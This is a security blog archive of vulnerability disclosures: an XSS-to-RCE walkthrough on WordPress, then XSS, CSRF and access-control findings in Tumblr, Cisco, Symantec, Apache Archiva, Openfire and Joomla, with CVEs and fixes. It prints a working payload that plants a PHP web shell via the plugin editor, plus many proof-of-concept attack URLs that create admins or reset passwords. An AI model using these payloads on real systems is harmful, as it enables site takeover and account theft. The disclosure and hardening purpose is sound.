XSS to RCE – using WordPress as an example

Cross Site Scripting (XSS) is a type of client side vulnerability that arises when an application accepts user supplied input and makes it a part of the page without sanitizing it for malicious content. An attacker can supply JavaScript as input that eventually becomes a part of the page and executes in the browser of the user viewing the page. You can read more about the different types of XSS vulnerabilities at the OWASP wiki.
Most vulnerability assessments report XSS issues with the impact limited to stealing session cookies and hijacking accounts. In reality, a well executed XSS attack can cause a lot more harm than merely overtaking an account. Of course it depends on what other vulnerabilities are present in the application in the post login pages. Also, depending on the privileges of the user whose session was hijacked, added functionality may be available ready for abuse.

There have been several well documented cases of a XSS leading to larger more impactful attacks. Here are some examples:

  1. XSS worm by Samy: – https://samy.pl/popular/tech.html
  2. Apache network compromise starting with a XSS in Atlassian JIRA: – https://blogs.apache.org/infra/entry/apache_org_04_09_2010
  3. XSS to RCE in Node via process.open() – https://oreoshake.github.io/xss/rce/bugbounty/2015/09/08/xss-to-rce.html
In a standard XSS attack, a penetration tester would usually take the following steps:

  1. Find a XSS vulnerability
  2. Host a collecting server to capture session cookies that will be delivered by your XSS payload
  3. Send the URL with the XSS payload to a user via email (Reflected XSS) OR
    Store the XSS payload and wait for a user (or social engineer them to visit if you lack patience) to visit the vulnerable page.
  4. Replay the session cookies to the application and gain access to the victim’s account.
  5. Explore the application for data/other vulnerabilities.
In the event that an application has functionality that allows a user to upload executable code (php pages for example) or edit existing server side code, then you can choose to attack that functionality directly with a XSS payload. Akash Mahajan, my friend and partner at Appsecco, pointed out a tweet by @brutelogic which, in my opinion, is a fantastic JavaScript XSS payload to use the plugin-editor of WordPress to update an existing PHP page with shellcode. So I setup a local WP with a plugin that was vulnerable to XSS and used the following JS payload as mentioned in the tweet.
x=new XMLHttpRequest()
p='/wp-admin/plugin-editor.php?'
f='file=akismet/index.php'
x.open('GET',p+f,0)
x.send()
$='_wpnonce='+/ce" value="([^"]*?)"/.exec(x.responseText)[1]+'&newcontent=<?=`$_GET[brute]`;&action=update&'+f
x.open('POST',p+f,1)
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded')
x.send($)
Here’s what the payload does:

  1. Creates a new XMLHttpRequest() object x
  2. p and f hold the complete URL to load
  3. The file that will be updated is akismet/index.php
  4. x.open('GET',p+f,0) and x.send() are used to specify the type of request and to send the actual request respectively.
  5. The $ contains the POST data that will be sent.
  6. For every POST request in WordPress you need the _wpnonce token. The /ce" value="([^"]*?)"/.exec(x.responseText)[1] extracts the token from the previous response using a regular expression.
  7. The php shell code is <?=`$_GET[brute]
  8. A new POST request is created and sent to the server along with appropriate form submit headers.

If an admin navigates to /wp-admin/plugin-editor.php?file=akismet/index.php, this is what he will see:
akismet_index_php_page

To access the shell, navigate to /wp-content/plugins/akismet/index.php?brute=ls -a. You can now interact and execute operating system commands with the WordPress server using the brute parameter. To make the output more readable simply use the view-source option of the page.

Command execution via php shell

This attack will obviously not work if the plugin editor is disabled which can be done by placing define('DISALLOW_FILE_EDIT', true); in the wp-config.php file. You can read more WordPress hardening tips at: https://codex.wordpress.org/Hardening_WordPress (shouts to @anantshri).

Happy Hacking!

Stored (Persistent) XSS on tumblr

Tumblr is vulnerable to a Stored (persistent) Cross Site Scripting Vulnerability, which I disclosed to them around 3 weeks ago, but it looks like its still not fixed.

Tumblr, stylized as tumblr., is a microblogging platform and social networking website, owned and operated by Tumblr, Inc. The service allows users to post multimedia and other content to a short-form blog, named a “tumblelog”. Users can follow other users’ blogs, as well as make their blogs private.Much of the website’s features are accessed from the “dashboard” interface, where the option to post content and posts of followed blogs appear. [Source: Wikipedia]

Last I checked, tumblr has 63.7 Million Blogs and 27 Billion Posts [http://www.tumblr.com/about] and which is why it is very discomforting to find an issue like XSS on a site that is ranked 35 on Alexa.

For the newbies, Cross Site Scripting is a vulnerability that arises if an application does not sanitize user input and sends it back to the browser without removing/encoding malicious characters. Malicious characters are any set of characters that a browser can use to render HTML or script content (,”,/> etc..). So, instead of displaying the user input, the browser will render/execute it depending on whether the input was HTML tagged content or script content.

XSS can cause a lot of serious problems. An attacker can steal cookies, redirect users to fake or malicious sites, control a user’s browser using automated frameworks like BeEF and download and execute exploits on the victim’s computer. Stored XSS is even more dangerous since the script is stored on the server and is executed everytime user visits an infected page. Several XSS based worms have been created in the past that have caused a lot of trouble on popular websites like Myspace and Orkut.

I will wait another week before posting the technical details here, in the mean time here are some screenshots for the curious:

Update [14 July 2012]:Tumblr has fixed the Stored XSS vulnerability, so here are the technical details as promised.

The XSS issue was on the  “Register Application” page at http://www.tumblr.com/oauth/apps. The application was not sanitizing user input when a user would create a new application. An XSS attack vector like tester”><img src=”x” /> would trigger an alert box, displaying the user’s cookie, in the browser.

Great work on the part of the Tumblr Security team in getting this fixed. I only hope they don’t wait 3 weeks before fixing something like this the next time.

 

Multiple Vulnerabilities with the Cisco Developer Network

I found a bunch of vulnerabilities with Cisco subdomains a couple of weeks ago, some of them were plain old XSS vulnerabilities,while others were more interesting. Cisco is yet to fix some of them which I will not be talking about here, however I will discuss the other issues that I found and which have now been fixed.

I found an XSS on the developer.cisco.com domain, and since Cisco uses Single Sign On for most of its subdomains, an attacker could simply exploit this issue and gain access to the user accounts under other Cisco domains. The Cisco Developer Network runs on a well known product, which is actively maintained by the developers and used worldwide by several major corporations. 

For the noobs, An XSS or Cross Site Scripting vulnerability occurs when an application accepts user input and sends it back to the browser without removing/encoding malicious characters. Malicious characters are any set of characters that a browser can use to render HTML or script content (,”,/> etc..). So, instead of displaying the user input, the browser will render/execute it depending on whether the input was HTML tagged content or script content.

XSS can cause a lot of serious problems. An attacker can steal cookies, redirect users to fake or malicious sites, control a user’s browser using automated frameworks like BeEF and download and execute exploits on the victim’s computer.

The other issue I found was particularly interesting because the application failed to check necessary user privilege levels while a user attempted access to application modules that were obviously sensitive. To this effect, I was able to locate the administration modules of several key sections under developer.cisco.com that would have allowed me to upload files, change and delete the content that users would see. I had access to all available administrative tasks since the application was clearly not checking whether I had admin or guest privileges. To make things worse, Google had traversed and cached these pages which would allow an attacker to reach to all the administration modules following an advanced Google search.


Now that both the issues have been fixed, here’s a finer look at the vulnerabilities:

1. XSS in the Cisco Developer Network (developer.cisco.com)
The following pages accept client side input via the ‘_153_keywords’ parameter and render it back to the browser without sanitization.

This was a POST based XSS, hence to craft an attack vector, an attacker would need to create a page that autosubmits a form on page/body. 
 





2. Insufficient privilege/permission check on the Cisco Developer Network.
The application did not verify the permission levels of logged in users when providing access to the administration modules of several sections listed on http://developer.cisco.com/web/cdc/tech under “Available Technology Centers”


Some examples were: 

  • http://developer.cisco.com/web/cupapi/admin
  • http://developer.cisco.com/web/telesched/administration


An advanced Google search, like the following, can get a list of modules that were  vulnerable:
https://www.google.co.in/search?q=site:developer.cisco.com/web/%20inurl:admin%20|%20inurl:administration

Waiting for Cisco to fix some other issues on several other domains before I disclose them here. Till then Happy Hacking!

XSS vulnerabilities in Symantec websites

A couple of weeks ago, while doing some research for a paper I have been working on, I found two XSS vulnerabilities with the Symantec Learning Management System (symlms.symantec.com) and Enterprise Support Login Page (seer.entsupport.symantec.com). An XSS or Cross Site Scripting vulnerability occurs when an application accepts user input and sends it back to the browser without removing/encoding malicious characters. Malicious characters are any set of characters that a browser can use to render HTML or script content (,”,/> etc..). So, instead of displaying the user input, the browser will render/execute it depending on whether the input was HTML tagged content or script content.

XSS can cause a lot of serious problems. An attacker can steal cookies, redirect users to fake or malicious sites, control a user’s browser using automated frameworks like BeEF and download and execute exploits on the victim’s computer.


On an average, it is easy to find XSS vulnerabilities on the Internet, but finding an XSS issue on a website that is owned and administered by a security services company is quite something. I reported both the vulnerabilities as soon as I discovered them and the security team at Symantec were quite appreciative and welcoming with my disclosures.


Now that both the issues have been fixed, here’s a finer look at the vulnerabilities:


1. XSS in the Symantec Learning Management System (symlms.symantec.com)
The page at https://symlms.symantec.com/sumtotal/lang-en/SYS_login.asp accepts client side input via the ‘ru’ hidden parameter and renders it back to the browser without sanitization.

An attack vector could be crafted on the lines of:

  • https://symlms.symantec.com/sumtotal/lang-en/SYS_login.asp?ru=a%27/%3E%3Ch1%20onmousemove=javascript:alert%28document.cookie%29%3ETEST%3C/h1%3E

  • https://symlms.symantec.com/sumtotal/lang-en/SYS_login.asp?ru=tester%27%3E%3Ciframe%20src=%22http://www.wikipedia.org%22%20width=600%20height=1000%3E%3C/iframe%3E

 






2. XSS in the Enterprise Support Login Page (seer.entsupport.symantec.com)
The page at http://seer.entsupport.symantec.com/downloads/export.asp accepts client side input via the ‘username’, ‘useremail’ and ‘userphone’ parameters and renders it back to the browser without sanitization.

An attack vector could be crafted on the lines of:

  • http://seer.entsupport.symantec.com/downloads/export.asp?username=test%22%3E%3Cscript%3Ealert%280%29%3C/script%3E
  • http://seer.entsupport.symantec.com/downloads/export.asp?useremail=test%22%3E%3Cscript%3Ealert%280%29%3C/script%3E
  • http://seer.entsupport.symantec.com/downloads/export.asp?userphone=test%22%3E%3Cscript%3Ealert%280%29%3C/script%3E

 

Input sanitization and output encoding user input can provide protection. There are several libraries that actually make it easier for developers to create web applications without worrying too much about threats like XSS. The OWASP ESAPI library is something that comes to my mind when I find XSS anywhere.

A couple of more interesting disclosures lined up for June. Till then Happy Hacking!

Apache Archiva Multiple XSS & CSRF Vulnerabilities

I am honestly surprised at the frequency and places one would find threats like Cross Site Scripting and Cross Site Request Forgery. Although immensely easy to locate and exploit, it can get quite twisted to fix these issues in large applications. Here’s a rundown on another product that was found vulnerable. As part of the vulnerability research that I do with published web applications, I downloaded a copy of Apache’s Archiva 1.3.4 which was the latest published edition on the vendor’s website. Upon examination, there seemed to be several issues with the application that I reported responsibly to the vendor and co-operated in responsible disclosure. Since the cat is now out of the bag, here’s the condensed disclosure document with the exploit code intact.

Title: Multiple XSS & CSRF Vulnerabilities in Apache Archiva 1.3.4
——————————————————————–

Project: Apache Archiva
Severity: High
Versions: 1.3.0 – 1.3.4. The unsupported versions Archiva 1.0 – 1.2.2 are also affected.
Exploit type: Multiple XSS & CSRF
Mitigation: Archiva 1.3.4 and earlier users should upgrade to 1.3.5
Vendor URL: http://archiva.apache.org/security.html
CVE: CVE-ID-2011-1077, CVE-2011-1026
——————————————————————–

Timeline:
28 February 2011: Vendor Contacted
1 March 2011: Vendor Response received. CVE-2011-1026 for CSRF Issues Assigned.
7 March 2011: CVE-2011-1077 Assigned for XSS Issues.
14 March 2011: Fixes released to selected channels / Found to be insufficient
27 May 2011: Vendor releases v1.3.5
27 May 2011: Vendor releases security disclosure to Bugtraq and FD.
30 May 2011: Exploit details released on Bugtraq & FD
——————————————————————–

Product Description:
Apache Archiva is an extensible repository management software that helps taking care of your own personal or enterprise-wide build artifact repository. It is the perfect companion for build tools such as Maven, Continuum, and ANT.

Archiva offers several capabilities, amongst which remote repository proxying, security access management, build artifact storage, delivery, browsing, indexing and usage reporting, extensible scanning functionality… and many more!
(Source: http://archiva.apache.org/)
——————————————————————–

Vulnerability Details:
XSS: User can insert HTML or execute arbitrary JavaScript code within the vulnerable application. The vulnerabilities arise due to insufficient input validation in multiple input fields throughout the application.
Successful exploitation of these vulnerabilities could result in, but not limited to, compromise of the application, theft of
cookie-based authentication credentials, arbitrary url redirection, disclosure or modification of sensitive data and phishing attacks.

CSRF: These issues allow an attacker to access and use the application with the session of a logged on user. In this case if an administrative account is exploited, total application compromise may be acheived.
An attacker can build a simple html page containing a hidden Image tag (eg: ) and entice the administrator to access the page.
———————————————————————-

Proof of Concept:
Reflected XSS:
http://127.0.0.1:8080/archiva/security/useredit.action?username=testalert(‘xss’)
http://127.0.0.1:8080/archiva/security/roleedit.action?name=%22>alert(‘xss’)
http://127.0.0.1:8080/archiva/security/userlist!show.action?roleName=testalert(‘xss’)
http://127.0.0.1:8080/archiva/deleteArtifact!doDelete.action?groupId=1alert(‘xss’)&artifactId=1alert(‘xss’)&version=1&repositoryId=internal
http://127.0.0.1:8080/archiva/admin/addLegacyArtifactPath!commit.action?legacyArtifactPath.path=testalert(‘xss’)&groupId=testalert(‘xss’)&artifactId=testalert(‘xss’)&version=testalert(‘xss’)&classifier=testalert(‘xss’)&type=testalert(‘xss’)
http://127.0.0.1:8080/archiva/admin/deleteNetworkProxy!confirm.action?proxyid=testalert(‘xss’)

Persistant (Stored) XSS:
Exploit code: testalert(‘xss’)
http://127.0.0.1:8080/archiva/admin/addRepository.action (Identifier:repository.id, Name:repository.name, Directory:repository.location, Index Directory:repository.indexDir)
http://127.0.0.1:8080/archiva/admin/confirmDeleteRepository.action?repoid=

http://127.0.0.1:8080/archiva/admin/editAppearance.action (Name:organisationName, URL:organisation:URL, LogoURL:organisation:URL)
http://127.0.0.1:8080/archiva/admin/configureAppearance.action

http://127.0.0.1:8080/archiva/admin/addLegacyArtifactPath.action(Path:name=legacyArtifactPath.path, GroupId:groupId, ArtifactId:artifactId, Version:version, Classifier:classifier, Type:type)
http://127.0.0.1:8080/archiva/admin/legacyArtifactPath.action

http://127.0.0.1:8080/archiva/admin/addNetworkProxy.action (Identifier:proxy.id, Protocol:proxy.protocol, Hostname:proxy.host, Port:proxy.port, Username:proxy.username)
http://127.0.0.1:8080/archiva/admin/networkProxies.action

CSRF:
http://127.0.0.1:8080/archiva/security/usercreate!submit.action?user.username=tester123&user.fullName=test&user.email=test%40test.com&user.password=abc&user.confirmPassword=abc
http://127.0.0.1:8080/archiva/security/userdelete!submit.action?username=test
http://127.0.0.1:8080/archiva/security/addRolesToUser.action?principal=test&addRolesButton=true&__checkbox_addNDSelectedRoles=Guest&__checkbox_addNDSelectedRoles=Registered+User&addNDSelectedRoles=System+Administrator&__checkbox_addNDSelectedRoles=System+Administrator&__checkbox_addNDSelectedRoles=User+Administrator&__checkbox_addNDSelectedRoles=Global+Repository+Manager&__checkbox_addNDSelectedRoles=Global+Repository+Observer&submitRolesButton=Submit
http://127.0.0.1:8080/archiva/admin/deleteRepository.action?repoid=test&method%3AdeleteContents=Delete+Configuration+and+Contents
http://127.0.0.1:8080/archiva/deleteArtifact!doDelete.action?groupId=1&artifactId=1&version=1&repositoryId=snapshots
http://127.0.0.1:8080/archiva/admin/addRepositoryGroup.action?repositoryGroup.id=csrfgrp
http://127.0.0.1:8080/archiva/admin/deleteRepositoryGroup.action?repoGroupId=test&method%3Adelete=Confirm
http://127.0.0.1:8080/archiva/admin/disableProxyConnector!disable.action?target=maven2-repository.dev.java.net&source=internal
http://127.0.0.1:8080/archiva/admin/deleteProxyConnector!delete.action?target=maven2-repository.dev.java.net&source=snapshots
http://127.0.0.1:8080/archiva/admin/deleteLegacyArtifactPath.action?path=jaxen/jars/jaxen-1.0-FCS-full.jar
http://127.0.0.1:8080/archiva/admin/saveNetworkProxy.action?mode=add&proxy.id=ntwrk&proxy.protocol=http&proxy.host=test&proxy.port=8080&proxy.username=&proxy.password=
http://127.0.0.1:8080/archiva/admin/deleteNetworkProxy!delete.action?proxyid=myproxy
http://127.0.0.1:8080/archiva/admin/repositoryScanning!addFiletypePattern.action?pattern=**/*.rum&fileTypeId=artifacts
http://127.0.0.1:8080/archiva/admin/repositoryScanning!removeFiletypePattern.action?pattern=**/*.rum&fileTypeId=artifacts
http://127.0.0.1:8080/archiva/admin/repositoryScanning!updateKnownConsumers.action?enabledKnownContentConsumers=auto-remove&enabledKnownContentConsumers=auto-rename&enabledKnownContentConsumers=create-missing-checksums&enabledKnownContentConsumers=index-content&enabledKnownContentConsumers=metadata-updater&enabledKnownContentConsumers=repository-purge&enabledKnownContentConsumers=update-db-artifact&enabledKnownContentConsumers=validate-checksums
http://127.0.0.1:8080/archiva/admin/database!updateUnprocessedConsumers.action?enabledUnprocessedConsumers=update-db-project
http://127.0.0.1:8080/archiva/admin/database!updateCleanupConsumers.action?enabledCleanupConsumers=not-present-remove-db-artifact&enabledCleanupConsumers=not-present-remove-db-project&enabledCleanupConsumers=not-present-remove-indexed
———————————————————————


Please update to Archiva 1.3.5, available for download via the vendor’s website.

Multiple XSS and XSRF issues in Openfire 3.6.4

I recently (read: last month) disclosed several security issues with Ignite Realtime’s Openfire v3.6.4. The following links are the original advisory postings and the exploit code:
http://www.securityfocus.com/bid/45682
http://secunia.com/advisories/42799
http://packetstormsecurity.org/files/author/8144/
http://www.exploit-db.com/exploits/15918/


The following is the condensed disclosure document for the vulnerabilities.:
Title: Multiple XSS and CSRF Vulnerabilities in Openfire 3.6.4 Administrative Section
——————————————————————–

Project: Openfire
Severity: High
Versions: 3.6.4 (other versions may be affected)
Exploit type: Multiple XSS and CSRF
Fixes Available: None
——————————————————————–

Timeline:
14 October 2010: Vendor Contacted
15 October 2010: Vendor Response received. Asks to verify the issues in beta.
28 October 2010: Informed Vendor that multiple pages are still vulnerable
03 November 2010: Acknowledgement / Update requested
03 November 2010: Update recevied. No fixes initiated.
23 November 2010: Informed vendor disclosure date set to 1/12/2010
22 December 2010: Update requested.
22 December 2010: Vendor asks to release information as the vulnerabilities are already known
23 December 2010: A different contact at the Vendor location informs that there are no updates.
24 December 2010: Disclosure date set to 5 January 2011
05 January 2011: Disclosed to the Security Community via Bugtraq, Full disclosure and Secunia
——————————————————————–

Product Description:
Openfire is a real time collaboration (RTC) server licensed under the Open Source GPL. It uses the only widely adopted open protocol for instant messaging, XMPP (also called Jabber). Openfire is incredibly easy to setup and administer, but offers rock-solid security and performance.
(Source: http://www.igniterealtime.org/projects/openfire/)
——————————————————————–

Affected Files/Locations/Modules:
XSS:
login.jsp
security-audit-viewer.jsp
user-create.jsp
plugins/search/advance-user-search.jsp
user-roster-add.jsp
user-roster.jsp
group-create.jsp
group-edit.jsp
group-delete.jsp
muc-room-edit-form.jsp
muc-room-delete.jsp
plugins/clientcontrol/create-bookmark.jsp
plugins/clientcontrol/spark-form.jsp

CSRF:
user-create.jsp
user-password.jsp
user-delete.jsp
group-create.jsp
group-edit.jsp
group-delete.jsp

———————————————————————

Vulnerability Details:
User can insert HTML or execute arbitrary JavaScript code within the vulnerable application. The vulnerabilities arise due to insufficient input validation in multiple input fields throughout the application.
Successful exploitation of these vulnerabilities could result in, but not limited to, compromise of the application, theft of
cookie-based authentication credentials, arbitrary url redirection, disclosure or modification of sensitive data and phishing attacks.

Since the vulnerabilities exisit in the administrative module, a sucessful attack could cause a complete compromise of the entire application.

An attacker can also force a user into executing functions that add/delete/modify users and groups without the knowledge of the user.
———————————————————————-

Proof of Concept:
Persistent XSS:
http://target-url/login.jsp?url=&username=test” onfocus=javascript:window.location.assign(‘http://www.google.com’);”>

http://target-url/login.jsp?url=hello” onfocus=javascript:window.location.assign(‘http://www.google.com’);”>

http://target-url/security-audit-viewer.jsp?range=15&username=”>alert(‘xss’)&search=Search

http://target-url/user-create.jsp?username=test”>alert(‘xss’)
http://target-url/user-create.jsp?name=test”>alert(‘xss’)
http://target-url/user-create.jsp?email=test”>alert(‘xss’)

http://target-url/plugins/search/advance-user-search.jsp?criteria=test”>alert(‘xss’)

http://target-url/user-roster-add.jsp?username=testalert(‘xss’)
http://target-url/user-roster-add.jsp?username=user&jid=1&nickname=alert(‘XSS’)&email=alert(‘XSS’)&add=Add+Item

http://target-url/user-roster.jsp?username=testalert(document.cookie)
http://target-url/user-lockout.jsp?username=testalert(‘xss’)

http://target-url/group-create.jsp?name=testalert(‘xss’)&description=alert(‘xss’)&create=Create+Group

http://target-url/group-edit.jsp?creategroupsuccess=true&group=testalert(‘xss’)

http://target-url/group-delete.jsp?group=alert(‘xss’)

http://target-url/muc-room-edit-form.jsp?save=true&create=”>alert(‘XSS’)&roomconfig_persistentroom=”>alert(‘XSS’)&roomName=23&mucName=conference&roomconfig_roomname=alert(‘XSS’)&roomconfig_roomdesc=alert(‘XSS’)&room_topic=alert(‘XSS’)&roomconfig_maxusers=”>alert(‘XSS’)&roomconfig_presencebroadcast=alert(‘XSS’)true&roomconfig_presencebroadcast2=”>alert(‘XSS’)&roomconfig_presencebroadcast3=true”>alert(‘XSS’)&roomconfig_roomsecret=”>alert(‘XSS’)&roomconfig_roomsecret2=”>alert(‘XSS’)&roomconfig_whois=moderator”>alert(‘XSS’)&roomconfig_publicroom=true”>alert(‘XSS’)&roomconfig_canchangenick=true”>alert(‘XSS’)&roomconfig_registration=true”>alert(‘XSS’)&Submit=Save+Changes

http://target-url/muc-room-delete.jsp?roomJID=”>alert(‘XSS’)&create=false

http://target-url/plugins/clientcontrol/create-bookmark.jsp?urlName=”>alert(‘XSS’)&url=”>alert(‘XSS’)&users=”>alert(‘XSS’)&groups=”>alert(‘XSS’)&rss=off&createURLBookmark=Create&type=url

http://target-url/plugins/clientcontrol/spark-form.jsp?optionalMessage=alert(‘XSS’)&submit=Update+Spark+Versions

Stored XSS:
http://target-url/group-create.jsp
http://target-url/group-summary.jsp
Method: Navigate to http://target-url/group-create.jsp, and create a new group with the following details.
Group Name: Testalert(“xss”)
Description: Testalert(“xss”)
Click on Create Group, you will be greeted with multiple alert boxes. Click on Group Summary from the left pane or navigate to http://target-url/group-summary.jsp to be greeted again by multiple alert boxes completing the PoC.

CSRF:
For the following links, create html pages with image tags with scr= the following links and ask the user to view these pages. If a user is logged into Openfire’s admin console and the HTML pages are viewed then the respective functions are called:
http://target-url/user-create.jsp?username=tester&name=Riyaz&email=walikarriyazad%40microland.com&password=test&passwordConfirm=test&isadmin=on&create=Create+User
http://target-url/user-create.jsp?username=tester&name=Riyaz&email=walikarriyazad%40microland.com&password=test&passwordConfirm=test&isadmin=on&create=Create+User>
http://target-url/user-password.jsp?username=admin&password=secure-pass&passwordConfirm=secure-pass&update=Update+Password
http://target-url/user-password.jsp?username=admin&password=secure-pass&passwordConfirm=secure-pass&update=Update+Password>
http://target-url/user-delete.jsp?username=tester&delete=Delete+User
http://target-url/user-delete.jsp?username=tester&delete=Delete+User>
http://target-url/group-create.jsp?name=NewGroup&description=New+Group&create=Create+Group
http://target-url/group-create.jsp?name=NewGroup&description=New+Group&create=Create+Group>
http://target-url/group-edit.jsp?group=NewGroup&add=Add&username=admin&addbutton=Add
http://target-url/group-edit.jsp?group=NewGroup&add=Add&username=admin&addbutton=Add>
http://target-url/group-edit.jsp?group=NewGroup&admin=abc@example.com&updateMember=Update
http://target-url/group-edit.jsp?group=NewGroup&admin=abc@example.com&updateMember=Update>

———————————————————————

Multiple Joomla! XSS Vulnerabilities – CVE-2010-1649

Last month, while doing some tests on a Joomla! installation on my home computer, I came across a very glaring security issue. The Joomla! admin module has several components that are used to manage the site and its users. Several of these components have a search text box that allows users to search through the list of entities displayed. For example the search box in com_users component allows searching the list of users displayed. The issue was with the search boxes not sanitizing user input. That meant you could enter HTML text in the boxes and it would be rendered and displayed! That is exactly the cause of the world’s most common web application vulnerability, Cross Site Scripting or more commonly known as XSS.

This should help beginners understand XSS.
http://en.wikipedia.org/wiki/Cross-site_scripting

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications that enables malicious attackers to inject client-side script into web pages viewed by other users. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy.

Their impact may range from a petty nuisance to a significant security risk, depending on the sensitivity of the data handled by the vulnerable site, and the nature of any security mitigation implemented by the site’s owner.

Attackers intending to exploit cross-site scripting vulnerabilities must approach each class of vulnerability differently. For each class, a specific attack vector is described here. The names below are technical terms, taken from the cast of characters commonly used in computer security.

Cross Site Scripting can be divided into 2 classes. Persistent and Non-Persistent. The following exploit examples should make things clearer:


Examples taken from Wikipedia.

Non-persistent:

1. Alice often visits a particular website, which is hosted by Bob. Bob’s website allows Alice to log in with a username/password pair and stores sensitive data, such as billing information.
2. Mallory observes that Bob’s website contains a reflected XSS vulnerability.
3. Mallory crafts a URL to exploit the vulnerability, and sends Alice an email, enticing her to click on a link for the URL under false pretenses. This URL will point to Bob’s website, but will contain Mallory’s malicious code, which the website will reflect.
4. Alice visits the URL provided by Mallory while logged into Bob’s website.
5. The malicious script embedded in the URL executes in Alice’s browser, as if it came directly from Bob’s server (this is the actual XSS vulnerability). The script can be used to send Alice’s session cookie to Mallory. Mallory can then use the session cookie to steal sensitive information available to Alice (authentication credentials, billing info, etc.) without Alice’s knowledge.

Persistent attack:

1. Mallory posts a message with malicious payload to a social network.
2. When Bob reads the message, Mallory’s XSS steals Bob’s cookie.
3. Mallory can now hijack Bob’s session and impersonate Bob.

All versions of Joomla! prior to 1.5.18 are vulnerable to an XSS injection attack in the admin module. The following are the vulnerabaility details and exploit code.

* Project: Joomla!
* SubProject: All
* Severity: High
* Versions: 1.5.17 and all previous 1.5 releases
* Exploit type: XSS Injection
* Reported Date: 2010-May-13
* Fixed Date: 2010-May-28
* Fixed Version: Joomla! 1.5.18
* Update Download Link: http://www.joomla.org/download.html
* Info URL: http://developer.joomla.org/security/news/314-20100501-core-xss-vulnerabilities-in-back-end.html

Vulnerability Details:

User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability arises due to the administrator core components failing to properly sanitize user-supplied input in the “search”
variable. Successful exploitation of this vulnerability could result in, but not limited to, compromise of the application, theft of cookie-based authentication credentials, arbitrary url redirection, disclosure or modification of sensitive data and phishing attacks.

An attacker can send a link with the exploit to an administrator whose access could compromise the application. The following PoC is
available:

http://joomlasite/administrator/index.php?option=com_users&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E
http://joomlasite/administrator/index.php?option=com_users&search=%22%20onmousemove=%22javascript:window.location.assign%28%27http://www.google.com%27%29%22%3E

http://joomlasite/administrator/index.php?option=com_trash&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E

http://joomlasite/administrator/index.php?option=com_content&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E

http://joomlasite/administrator/index.php?option=com_sections&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E

http://joomlasite/administrator/index.php?option=com_categories&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E

http://joomlasite/administrator/index.php?option=com_frontpage&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E

http://joomlasite/administrator/index.php?option=com_menus&task=view&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E

http://joomlasite/administrator/index.php?option=com_messages&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E

http://joomlasite/administrator/index.php?option=com_banners&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E

http://joomlasite/administrator/index.php?option=com_banners&c=client&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E

http://joomlasite/administrator/index.php?option=com_categories&section=com_banner&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E

http://joomlasite/administrator/index.php?option=com_contact&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E

http://joomlasite/administrator/index.php?option=com_categories&section=com_contact_details&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E

http://joomlasite/administrator/index.php?option=com_newsfeeds&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E

http://joomlasite/administrator/index.php?option=com_categories&section=com_newsfeeds&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E

http://joomlasite/administrator/index.php?option=com_poll&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E

http://joomlasite/administrator/index.php?option=com_weblinks&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E

http://joomlasite/administrator/index.php?option=com_categories&section=com_weblinks&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E

http://joomlasite/administrator/index.php?option=com_modules&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E

http://joomlasite/administrator/index.php?option=com_plugins&search=%22%20onmousemove=%22javascript:alert%28document.cookie%29;%22%3E


CONFIRM URL: http://developer.joomla.org/security/news/314-20100501-core-xss-vulnerabilities-in-back-end.html
BID: 40444 – http://www.securityfocus.com/bid/40444
CVE-2010-1649: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1649
Secunia: 39964: http://secunia.com/advisories/39964
OSVDB: 65011: http://www.osvdb.org/65011


Please update your installation of Joomla! to the latest available stable release, which at the time of writing was 1.5.18.